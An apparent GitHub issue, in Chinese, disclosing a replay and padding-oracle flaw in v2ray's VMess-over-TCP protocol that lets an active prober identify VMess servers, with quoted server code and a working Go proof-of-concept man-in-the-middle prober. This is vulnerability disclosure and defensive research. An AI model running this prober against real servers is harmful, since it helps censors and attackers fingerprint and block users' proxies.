-
Notifications
You must be signed in to change notification settings - Fork 8.9k
Description
Update: 我们构造出了更具杀伤性的PoC,仅需16次探测即可准确判定vmess服务,误报可能性几乎为0,校验的缓解措施均无效。唯一的解决方案是禁用vmess或者重新设计协议。我们决定提高issue的严重性等级。
Update:v4.23.4及以后已经采取随机读取多个字节的方式阻止P的侧信道泄漏,目前下面的PoC(16次探测)以及概率探测(暴力发包探测)的PoC已经失效,无法准确探测vmess服务。但是,由于这是协议设计层面的问题,彻底解决问题需要引入AEAD等无法向下兼容的设计。好消息是,这一缓解可以为我们讨论制订新协议争取非常多的时间。vmess+tcp的组合仍然存在一定风险,不建议使用。
先说结论:开启了tcp+vmess的服务端,在和客户端进行通讯时,攻击者可以通过重放攻击的方式准确判定是否为vmess服务。
这个缺陷的利用基于重放攻击和密文填充攻击,需要以下条件(经过讨论,结合之前ss遭到的重放攻击,我们认为对于GFW来说,此条件并不苛刻):
-
攻击者可以进行中间人攻击,捕获vmess的TCP流前16 + 38字节。
-
攻击者可以在30秒内据此发送16个探测包
目前的缓解方案均可以被绕过,唯一解决方案是修改协议实现 。
个人认为,最好的解决方案是采用gcm等具有认证能力的aead加密模式对指令部分进行加密,而不是cfb。这和现有vmess设计冲突且无法向下兼容,可能需要重新设计vmess协议。
mkcp+vmess和tls+vmess等底层传输不使用tcp的组合不受此问题直接影响,但有可能收到波及。
下面是分析和PoC
鉴于近期vmess协议遭到封锁的情况较为严重,因此研究了一下vmess的协议设计和实现,发现服务端一个实现缺陷导致的特征,可以利用主动探测,区分vmess服务与其他服务。
vmess的协议的设计和实现缺陷
这是vmess的客户端请求格式。
16 字节 | X 字节 | 余下部分 |
---|---|---|
认证信息 | 指令部分 | 数据部分 |
前16字节为认证信息,内容为和时间、用户ID相关的散列值。根据协议设计,每个16字节的认证信息auth的有效期只有30秒。
问题出在指令部分。指令部分使用了没有认证能力的aes-cfb方式,因此攻击者可以篡改其中内容,而仍然能被服务器接受。
1 字节 | 16 字节 | 16 字节 | 1 字节 | 1 字节 | 4 位 | 4 位 | 1 字节 | 1 字节 | 2 字节 | 1 字节 | N 字节 | P 字节 | 4 字节 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
版本号 Ver | 数据加密 IV | 数据加密 Key | 响应认证 V | 选项 Opt | 余量 P | 加密方式 Sec | 保留 | 指令 Cmd | 端口 Port | 地址类型 T | 地址 A | 随机值 | 校验 F |
我们对照代码来看,v2ray服务端的vmess解析代码如下:
v2ray-core/proxy/vmess/encoding/server.go
Lines 124 to 209 in 4b81ba9
func (s *ServerSession) DecodeRequestHeader(reader io.Reader) (*protocol.RequestHeader, error) { | |
buffer := buf.New() | |
defer buffer.Release() | |
if _, err := buffer.ReadFullFrom(reader, protocol.IDBytesLen); err != nil { | |
return nil, newError("failed to read request header").Base(err) | |
} | |
user, timestamp, valid := s.userValidator.Get(buffer.Bytes()) | |
if !valid { | |
return nil, newError("invalid user") | |
} | |
iv := hashTimestamp(md5.New(), timestamp) | |
vmessAccount := user.Account.(*vmess.MemoryAccount) | |
aesStream := crypto.NewAesDecryptionStream(vmessAccount.ID.CmdKey(), iv[:]) | |
decryptor := crypto.NewCryptionReader(aesStream, reader) | |
buffer.Clear() | |
if _, err := buffer.ReadFullFrom(decryptor, 38); err != nil { | |
return nil, newError("failed to read request header").Base(err) | |
} | |
request := &protocol.RequestHeader{ | |
User: user, | |
Version: buffer.Byte(0), | |
} | |
copy(s.requestBodyIV[:], buffer.BytesRange(1, 17)) // 16 bytes | |
copy(s.requestBodyKey[:], buffer.BytesRange(17, 33)) // 16 bytes | |
var sid sessionId | |
copy(sid.user[:], vmessAccount.ID.Bytes()) | |
sid.key = s.requestBodyKey | |
sid.nonce = s.requestBodyIV | |
if !s.sessionHistory.addIfNotExits(sid) { | |
return nil, newError("duplicated session id, possibly under replay attack") | |
} | |
s.responseHeader = buffer.Byte(33) // 1 byte | |
request.Option = bitmask.Byte(buffer.Byte(34)) // 1 byte | |
padingLen := int(buffer.Byte(35) >> 4) | |
request.Security = parseSecurityType(buffer.Byte(35) & 0x0F) | |
// 1 bytes reserved | |
request.Command = protocol.RequestCommand(buffer.Byte(37)) | |
switch request.Command { | |
case protocol.RequestCommandMux: | |
request.Address = net.DomainAddress("v1.mux.cool") | |
request.Port = 0 | |
case protocol.RequestCommandTCP, protocol.RequestCommandUDP: | |
if addr, port, err := addrParser.ReadAddressPort(buffer, decryptor); err == nil { | |
request.Address = addr | |
request.Port = port | |
} | |
} | |
if padingLen > 0 { | |
if _, err := buffer.ReadFullFrom(decryptor, int32(padingLen)); err != nil { | |
return nil, newError("failed to read padding").Base(err) | |
} | |
} | |
if _, err := buffer.ReadFullFrom(decryptor, 4); err != nil { | |
return nil, newError("failed to read checksum").Base(err) | |
} | |
fnv1a := fnv.New32a() | |
common.Must2(fnv1a.Write(buffer.BytesTo(-4))) | |
actualHash := fnv1a.Sum32() | |
expectedHash := binary.BigEndian.Uint32(buffer.BytesFrom(-4)) | |
if actualHash != expectedHash { | |
return nil, newError("invalid auth") | |
} | |
if request.Address == nil { | |
return nil, newError("invalid remote address") | |
} | |
if request.Security == protocol.SecurityType_UNKNOWN || request.Security == protocol.SecurityType_AUTO { | |
return nil, newError("unknown security type: ", request.Security) | |
} | |
return request, nil | |
} |
可以看到,前16字节的认证信息可以被重复使用,并且只要通过认证,执行流即可进行到140行,初始化aes密钥流。接着在144行处,服务端在没有经过任何认证的情况下,读入38字节的密文,并使用aes-cfb进行解密,在没有进行任何校验的情况下,将其中版本号,余量P,加密方式等信息,直接填入结构体中。
这里问题已经很明显了,攻击者只需要得知16字节的认证信息,就可以在30秒内反复修改这38字节的信息进行反复的重放攻击/密文填充攻击。
aes本身可以抵抗已知明文攻击,因此安全性方面基本没有问题。出现问题的是余量P。我猜想设计者应该是为了避免包的长度特征而引入这个字段,但是读入余量的方式出现了问题:
此处代码实现,在没有校验余量P、加密方式Sec、版本号Ver、指令 Cmd、地址类型T、地址A的情况下,将P直接代入ReadFullFrom中读取P字节(182行)。注意,这里P的范围是2^4=16字节以内。
v2ray-core/proxy/vmess/encoding/server.go
Lines 163 to 198 in 4b81ba9
s.responseHeader = buffer.Byte(33) // 1 byte | |
request.Option = bitmask.Byte(buffer.Byte(34)) // 1 byte | |
padingLen := int(buffer.Byte(35) >> 4) | |
request.Security = parseSecurityType(buffer.Byte(35) & 0x0F) | |
// 1 bytes reserved | |
request.Command = protocol.RequestCommand(buffer.Byte(37)) | |
switch request.Command { | |
case protocol.RequestCommandMux: | |
request.Address = net.DomainAddress("v1.mux.cool") | |
request.Port = 0 | |
case protocol.RequestCommandTCP, protocol.RequestCommandUDP: | |
if addr, port, err := addrParser.ReadAddressPort(buffer, decryptor); err == nil { | |
request.Address = addr | |
request.Port = port | |
} | |
} | |
if padingLen > 0 { | |
if _, err := buffer.ReadFullFrom(decryptor, int32(padingLen)); err != nil { | |
return nil, newError("failed to read padding").Base(err) | |
} | |
} | |
if _, err := buffer.ReadFullFrom(decryptor, 4); err != nil { | |
return nil, newError("failed to read checksum").Base(err) | |
} | |
fnv1a := fnv.New32a() | |
common.Must2(fnv1a.Write(buffer.BytesTo(-4))) | |
actualHash := fnv1a.Sum32() | |
expectedHash := binary.BigEndian.Uint32(buffer.BytesFrom(-4)) | |
if actualHash != expectedHash { | |
return nil, newError("invalid auth") | |
} |
读取P+4字节后,v2ray才会对前面读入的内容进行校验,判断命令部分是否合法。如果不合法,断开连接。
缺陷的利用
Update:这个更强的攻击思路来自@studentmain。
我们假定攻击者已经捕获前16 + 38字节。如何判定该服务是否为vmess呢?
下面是一种攻击载荷构造方法,我们构造这样的流
16 字节 | 38 字节 | M字节 |
---|---|---|
认证信息 | 恶意修改的指令部分 | 探测长度 |
恶意修改的指令部分:
1 字节 | 16 字节 | 16 字节 | 1 字节 | 1 字节 | 4 位 | 4 位 | 1 字节 | 1 字节 |
---|---|---|---|---|---|---|---|---|
版本号 Ver | 数据加密 IV | 数据加密 Key | 响应认证 V | 选项 Opt | 余量 P | 加密方式 Sec | 保留 | 指令 Cmd |
方法很简单,我们让i从0-16开始枚举,构造探测载荷。Key的最后一个字节赋值为i,用以绕过v2ray防护。P也赋值为i,用以遍历其明文空间。发送了16+38字节后,尝试还能发送几个字节后连接被断开。发送成功的字节数记做M。
发送载荷,累计16次,记录测得的所有M的值。如果M的最大值和最小值差值为16,并且无重复,该服务为vmess服务。否则不是vmess服务。这个检测方式不会漏报,也几乎不会误报。
原理很简单:
-
由于攻击者拥有前16字节的验证信息,因此可以通过服务端校验。
-
攻击者修改了key绕过基于nonce的防重放检测。并且,由于修改的是key最后一个字节,cfb加密模式中,由于是同一块的修改,错误不会扩散到P。
-
攻击者仅修改并枚举P,遍历所有密文空间,解密后的P同样遍历明文空间。也就是说,从0-16的枚举,将得到十六个不同的P值。
-
服务端读入接下来的地址后,开始期待客户端发送P字节的余量,以及最后4个字节的校验码。于是接下来就会读入P+4个字节,并因为校验和不正确,连接被断开。我们因此可以测得M的值。M的实际值为 目标地址长度+P+4
下面是一个PoC,使用go实现,比较粗糙,见谅:
package main
import (
"flag"
"fmt"
"io"
"net"
"sync"
"time"
)
var listenAddr = flag.String("from", "127.0.0.1:4444", "listen address")
var targetAddr = flag.String("to", "127.0.0.1:4445", "target address")
var multiPass = flag.Bool("multi-pass", false, "test multiple connections")
func mitm(client net.Conn) {
original := [16 + 38]byte{}
client.SetReadDeadline(time.Now().Add(time.Second * 5))
_, err := io.ReadFull(client, original[:])
if err != nil {
fmt.Println(err)
return
}
client.SetReadDeadline(time.Time{})
fmt.Println("auth + command", original)
isVmess := true
wg := sync.WaitGroup{}
wg.Add(0xf + 1)
minP := 9999
maxP := -1
for i := 0; i <= 0xf; i++ {
weAreFucked := func(encryptedP int) {
defer wg.Done()
conn, err := net.Dial("tcp", *targetAddr)
if err != nil {
fmt.Println(err)
isVmess = false
return
}
defer conn.Close()
attack := [16 + 38]byte{}
copy(attack[:], original[:])
attack[16+32] = byte(encryptedP) //last byte of key
tmp := attack[16+35]
attack[16+35] = (byte(encryptedP) << 4) | (tmp & 0xf) //guess paddingLen
n, err := conn.Write(attack[:])
if err != nil || n != 16+38 {
fmt.Println(err)
isVmess = false
return
}
for j := 0; j < 9999; j++ {
//disable BufferReader's buffering
time.Sleep(time.Millisecond * 10)
zero := [1]byte{}
_, err := conn.Write(zero[:])
if err != nil {
if j-1 < minP {
minP = j - 1
}
if j-1 > maxP {
maxP = j - 1
}
fmt.Println("M =", j-1)
return
}
}
}
go weAreFucked(i)
}
wg.Wait()
if isVmess && (maxP-minP <= 16) {
fmt.Println("This is a vmess server")
} else {
fmt.Println("This is not a vmess server")
}
}
func main() {
flag.Parse()
l, err := net.Listen("tcp", *listenAddr)
if err != nil {
fmt.Println(err)
return
}
for {
conn, _ := l.Accept()
conn.(*net.TCPConn).SetNoDelay(true)
fmt.Println(" ==> Client from:", conn.RemoteAddr().String())
mitm(conn)
if !*multiPass {
break
}
}
}
这段PoC使用方法是,开启两个v2ray实例,客户端使用vmess连接本地4444端口,服务端vmess监听本地4445端口。客户端开启1080端口接受socks流量。
使用浏览器向客户端1080发送socks请求,客户端向4444端口发送vmess请求时,PoC模拟中间人攻击,获得16字节的有效认证信息。并且以此向4445端口的服务器发送恶意构造的包,测量N的值。
需要注意的是测量M时,可以使用每个字节Sleep后再发送的方式,使得服务端的BufferReader不工作,以此我们可以测量得到准确的M。
你可以通过--from --to 参数来指定想要监听的地址和想要测试的服务器。可以将--to换成其他服务的地址,如ssh,http,https进行检验。对于vmess服务,将输出This is a vmess server。